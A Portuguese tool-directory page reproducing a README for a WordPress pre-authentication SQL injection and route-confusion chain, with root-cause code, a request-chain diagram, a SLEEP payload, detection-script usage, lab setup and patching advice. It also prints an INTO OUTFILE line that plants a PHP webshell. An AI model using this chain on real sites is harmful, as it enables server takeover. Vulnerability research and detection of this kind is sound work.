Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
wordpress-cve-2026-63030 — RCE pré-autenticação no WordPress Core via confusão de rota batch da REST API + SQLi no WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de detecção. | Kitploit
Ferramentas/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

RCE pré-autenticação no WordPress Core via confusão de rota batch da REST API + SQLi no WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de detecção.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
4há 1 mêsAinda não revisado

WordPress REST API — Confusão de Rotas em Lote + SQL Injection → RCE

Pré-autenticação, não autenticado, sem plugins necessários. Funciona contra uma instalação padrão do WordPress através do endpoint de lote da REST API.

CVECVE-2026-63030 (confusão de rota → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
DescobridorAdam Kues — Assetnote / Searchlight Cyber (apelidado "wp2shell")
AfetadoWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (cadeia RCE completa) · 6.8.0 – 6.8.5 (apenas SQLi)
Corrigido6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCrítico (cadeia RCE) / Moderado (SQLi isolado)
Blog do pesquisadorhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Visão Geral

Dois bugs no núcleo do WordPress, encadeáveis para execução remota de código não autenticada:

  1. Injeção de SQL em WP_Query quando author__not_in é uma string em vez de um array — a verificação de sanitização is_array() é ignorada e o valor bruto é interpolado numa cláusula NOT IN (...).
  2. Confusão de rotas em lote em WP_REST_Server::serve_batch_request_v1() — sub-requisições WP_Error são inseridas em $validation[] mas não em $matches[], causando um deslocamento de índice +1. A sub-requisição i acaba sendo despachada com o manipulador da sub-requisição i+1.

Nenhum bug isolado é suficiente: a REST API sanitiza author_exclude (type: array, items: integer) antes de chegar a WP_Query, e o endpoint de lote rejeita sub-requisições GET (enum: POST, PUT, PATCH, DELETE). Encadeá-los através de uma dupla confusão contorna ambas as defesas e atinge o SQLi não autenticado.

2. Causas Raiz

2.1 Injeção de SQL — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnerável (6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → ignorado
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Quando author__not_in é uma string, o ramo is_array() é ignorado; (array) "payload" avalia para ["payload"]; implode(',', ...) retorna a string bruta, que é interpolada diretamente no SQL.

Correção (6.9.5): usar wp_parse_id_list() que aceita qualquer formato de entrada e retorna uma lista sanitizada de inteiros.

2.2 Confusão de rotas em lote — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

root@kitploit:~
// Laço de validação
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NÃO é anexado
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Laço de despacho  —  indexa $matches[$i] com o $i ORIGINAL
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← deslocado em um após um WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Uma única sub-requisição WP_Error (ex.: caminho malformado) na posição 0 desloca cada entrada subsequente em um. A requisição i é então despachada com o manipulador da requisição i+1.

Correção (6.9.5): anexar $matches[] = $single_request; também para o caso de erro. Endurecimento adicional interrompe rest_api_loaded() / serve_request() enquanto um despacho já está em andamento.

3. A Cadeia de Dupla Confusão

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  LOTE EXTERNO  (POST /wp-json/batch/v1)                             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NÃO em $matches         │
│  [1]  path = "/wp/v2/categories" → carrega lote aninhado no body    │
│         body = { "name": "x",                                       │
│                   "requests": [ LOTE_INTERNO ] }                     │
│         Validado contra categories → campo "requests" intocado      │
│  [2]  path = "/batch/v1"        → manipulador batch → desloca para [1]│
│                                                                     │
│  Deslocamento externo: request[1] despachada com manipulador de     │
│  request[2] = serve_batch_request_v1.  O endpoint batch NÃO tem     │
│  permission_callback → dispara não autenticado.  O body de          │
│  request[1] foi validado contra a rota *categories*, então as       │
│  sub-requisições aninhadas NUNCA foram verificadas contra o enum    │
│  de método batch → sub-requisições internas podem usar GET.          │
├──────────────────────────────────────────────────────────────────────┤
│  LOTE INTERNO  (processado dentro de serve_batch_request_v1)        │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NÃO em $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validado contra categories → author_exclude NÃO sanitizado   │
│  [2]  GET /wp/v2/posts          → manipulador get_items → desloca para [1]│
│                                                                     │
│  Deslocamento interno: inner[1] despachada com manipulador de       │
│  inner[2] = WP_REST_Posts_Controller::get_items.  A string não      │
│  sanitizada author_exclude é mapeada para author__not_in e passada  │
│  para WP_Query  →  INJEÇÃO DE SQL.                                   │
└──────────────────────────────────────────────────────────────────────┘

O fragmento SQL resultante é:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) dispara uma vez por linha de post correspondente, então o atraso total é aproximadamente N × <número_de_posts_publicados> segundos.

De SQLi para RCE ("wp2shell")

A injeção apenas SELECT (sem consultas empilhadas, $wpdb usa mysqli_query) ainda produz RCE em pilhas LAMP típicas quando o usuário MySQL tem privilégio FILE — que é o padrão em muitos hospedeiros compartilhados e servidores autogerenciados:

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

escreve um webshell PHP na raiz web, acessível em /x.php.

Caminhos alternativos (sem necessidade de privilégio FILE) incluem ler o hash da senha do admin via SQLi cego UNION/booleano e enviar um plugin malicioso através da UI administrativa autenticada.

4. Deteção / PoC

root@kitploit:~
uso: poc_wp_batch_sqli.py [-h] -t ALVO [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

O PoC realiza dois testes não destrutivos:

TesteMétodoSeguro?
root@kitploit:~
# uso básico
python3 poc_wp_batch_sqli.py -t http://alvo/

# SLEEP mais curto para triagem mais rápida
python3 poc_wp_batch_sqli.py -t http://alvo/ --sleep 3

# teste apenas de confusão estrutural de rota (sem SLEEP)
python3 poc_wp_batch_sqli.py -t http://alvo/ --confusion-only

# verboso / sem cor
python3 poc_wp_batch_sqli.py -t http://alvo/ -v --no-color

Exemplo de saída contra uma instância vulnerável 6.9.4:

root@kitploit:~
[+] CONFIRMADO — requisição interna[1] (categories) retornou dados de POSTS.
    Dupla confusão ativa: nível externo contorna enum de método batch,
    nível interno despacha parâmetros de categories com o manipulador de posts.

[*] Deteção de SQLi cego baseado em tempo (SLEEP=3s)
    linha de base: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERÁVEL — resposta atrasada em 9.0s (≈ 3 linha(s) de post × SLEEP(3)).

Sem atraso / sem confusão estrutural ⇒ corrigido (6.8.6 / 6.9.5 / 7.0.2).

Requisitos

  • Python ≥ 3.9
  • requests (pip install requests)

5. Reprodução

A maneira mais fácil de reproduzir é com as imagens oficiais do Docker (o atualizador automático terá corrigido a maioria das instâncias ativas dentro de horas da divulgação):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# execute o instalador (ou use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

Para o passo INTO OUTFILE → RCE, conceda privilégio FILE e garanta que o processo DB possa escrever na raiz web (LAMP de servidor único, ou um volume compartilhado no Docker):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. Mitigação

  1. Atualize imediatamente para 6.8.6 / 6.9.5 / 7.0.2 (ou mais recente). O WordPress aplica automaticamente lançamentos menores/de segurança por padrão (WP_AUTO_UPDATE_CORE), então a maioria dos sites ativos já estão corrigidos.
  2. Se não puder atualizar agora, bloqueie o acesso anónimo ao endpoint de lote no nível do WAF / proxy reverso:
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. Revogue o privilégio FILE do usuário DB do WordPress:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. Certifique-se de que secure_file_priv está definido (não vazio):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. Cronograma

DataEvento
2026-07-17WordPress 6.8.6 / 6.9.5 / 7.0.2 lançados
2026-07-17GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf publicados
2026-07-17Assetnote / Searchlight Cyber publica advisory "wp2shell" + verificador https://wp2shell.com

8. Referências

  • Advisories do WordPress
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Artigo do descobridor
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Diff de correção (6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • Site verificador
    • https://wp2shell.com/

9. Divulgação Responsável

Este repositório contém apenas um PoC de deteção — ele usa SQLi cego baseado em tempo e inspeção estrutural de resposta. Ele não extrai dados, escreve arquivos ou tenta RCE. A vulnerabilidade já foi corrigida e divulgada publicamente pelo WordPress e pelo pesquisador original antes deste código ser publicado.

Use apenas contra sistemas que possui ou está autorizado a testar.

Licença

MIT — veja LICENSE.

Baixar ferramenta
Confusão de rota (CVE-2026-63030)Estrutural — verifica se a requisição interna[1] (categories) é despachada com o manipulador de posts, inspecionando o corpo da resposta por campos exclusivos de postsSim
SQLi (CVE-2026-60137)Cego baseado em tempo — injeta SLEEP(N) via author_exclude e mede a latência em comparação com uma linha de base benignaSim